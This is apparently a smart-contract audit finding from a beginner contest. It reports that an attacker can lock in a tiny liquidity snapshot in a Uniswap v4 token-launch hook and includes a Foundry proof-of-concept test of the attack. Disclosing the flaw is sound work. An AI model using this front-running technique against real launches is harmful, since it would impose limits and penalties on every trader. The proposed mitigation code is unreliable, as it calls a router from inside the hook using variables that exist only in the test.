Vanguard

First Flight #56
Beginner FriendlyDeFiFoundry
0 EXP
Submission Details
Impact: high
Likelihood: high

MEV attack to manipulate liquidity snapshot, locks small liquidity as threshold forcing limits/penalties for everyone.

Author Revealed upon completion

Root + Impact

Description

  • This hook assumes that the pool might be initialized with 0 liquidity, and liquidity provisioning is triggered for token launch with bot activity mitigations.

  • However, an attacker can modify liquidity right after pool initialization with a small amount, commit a swap, and even withdraw liquidity after the swap. This effectively would lock the attacker-provided liquidity amount as initialLiquidity and would be accounted for phase limit and penalties. Further depositions won't have any effect on limits as initialLiquidity is already locked.

function _beforeSwap(address sender, PoolKey calldata key, SwapParams calldata params, bytes calldata)
internal
override
returns (bytes4, BeforeSwapDelta, uint24)
{
if (launchStartBlock == 0) revert PoolNotInitialized();
@> if (initialLiquidity == 0) {
@> uint128 liquidity = StateLibrary.getLiquidity(poolManager, key.toId());
@> initialLiquidity = uint256(liquidity);
}
.
.
.
}

Risk

Likelihood:

  • Likelihood is high as token launches are usually highly promoted and attract attackers to use any possible technical or financial exploitation.

Impact:

  • Can negatively affect a launching token, preventing liquidity attraction from sponsors.

  • Can cause denial of service or penalty for every user.

Proof of Concept

This code shows that successful provision of early liquidity locks it, and further addition does not have any effect on logic.

Add this snippet of code to test/TokenLaunchHookUnit.t.sol

function test_POC_InitialLiquidity_SnapshotManipulation() public {
bytes memory creationCode = type(TokenLaunchHook).creationCode;
bytes memory constructorArgs = abi.encode(
manager,
phase1Duration,
phase2Duration,
phase1LimitBps,
phase2LimitBps,
phase1Cooldown,
phase2Cooldown,
phase1PenaltyBps,
phase2PenaltyBps
);
uint160 flags = uint160(Hooks.AFTER_INITIALIZE_FLAG | Hooks.BEFORE_SWAP_FLAG);
(address hookAddress, bytes32 salt) = HookMiner.find(address(this), flags, creationCode, constructorArgs);
TokenLaunchHook newHook = new TokenLaunchHook{salt: salt}(
manager,
phase1Duration,
phase2Duration,
phase1LimitBps,
phase2LimitBps,
phase1Cooldown,
phase2Cooldown,
phase1PenaltyBps,
phase2PenaltyBps
);
require(address(newHook) == hookAddress, "Hook address mismatch");
(PoolKey memory newKey,) =
initPool(ethCurrency, tokenCurrency, newHook, LPFeeLibrary.DYNAMIC_FEE_FLAG, SQRT_PRICE_1_1_s);
uint160 sqrtPriceAtTickUpper = TickMath.getSqrtPriceAtTick(60);
// attacker back-running pool initialization or front-running liquidity add to lock in small initialLiquidity
address attacker = makeAddr("attacker");
uint256 smallEthToAdd = 1_000_000; // tiny liquidity
uint128 smallLiquidityDelta =
LiquidityAmounts.getLiquidityForAmount0(SQRT_PRICE_1_1, sqrtPriceAtTickUpper, smallEthToAdd);
vm.deal(address(this), smallEthToAdd);
vm.deal(attacker, smallEthToAdd);
vm.startPrank(attacker);
modifyLiquidityRouter.modifyLiquidity{value: smallEthToAdd}(
newKey,
ModifyLiquidityParams({
tickLower: -60, tickUpper: 60, liquidityDelta: int256(uint256(smallLiquidityDelta)), salt: bytes32(0)
}),
ZERO_BYTES
);
vm.stopPrank();
// user makes a swap to trigger snapshot of initialLiquidity
vm.deal(user1, 1 ether);
vm.startPrank(user1);
SwapParams memory params = SwapParams({
zeroForOne: true, amountSpecified: -int256(1_000), sqrtPriceLimitX96: TickMath.MIN_SQRT_PRICE + 1
});
PoolSwapTest.TestSettings memory testSettings =
PoolSwapTest.TestSettings({takeClaims: false, settleUsingBurn: false});
swapRouter.swap{value: 1_000}(newKey, params, testSettings, ZERO_BYTES);
vm.stopPrank();
uint256 lockedInitialLiquidity = newHook.initialLiquidity();
uint256 largeEthToAdd = 10 ether;
uint256 largeEthValue = 11 ether;
vm.deal(address(this), 30 ether);
uint128 largeLiquidityDelta =
LiquidityAmounts.getLiquidityForAmount0(SQRT_PRICE_1_1, sqrtPriceAtTickUpper, largeEthToAdd);
modifyLiquidityRouter.modifyLiquidity{value: largeEthValue}(
newKey,
ModifyLiquidityParams({
tickLower: -60, tickUpper: 60, liquidityDelta: int256(uint256(largeLiquidityDelta)), salt: bytes32(0)
}),
ZERO_BYTES
);
uint256 actualLiquidity = uint256(StateLibrary.getLiquidity(manager, newKey.toId()));
assertEq(newHook.initialLiquidity(), lockedInitialLiquidity, "initialLiquidity remains small");
assertGt(actualLiquidity, lockedInitialLiquidity, "Pool liquidity increased after snapshot");
}

Recommended Mitigation

  1. Add liquidity modification to pool initialization script.

  2. Provision initial liquidity in the after initialization hook.

function _afterInitialize(address, PoolKey calldata key, uint160, int24) internal override returns (bytes4) {
if (!key.fee.isDynamicFee()) {
revert MustUseDynamicFee();
}
.
.
.
+ modifyLiquidityRouter.modifyLiquidity{value: smallEthToAdd}(
+ newKey,
+ ModifyLiquidityParams({
+ tickLower: -60, tickUpper: 60, liquidityDelta: int256(uint256 (smallLiquidityDelta)), salt: bytes32(0)
+ }),
+ ZERO_BYTES
+ );
.
.
.
}

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!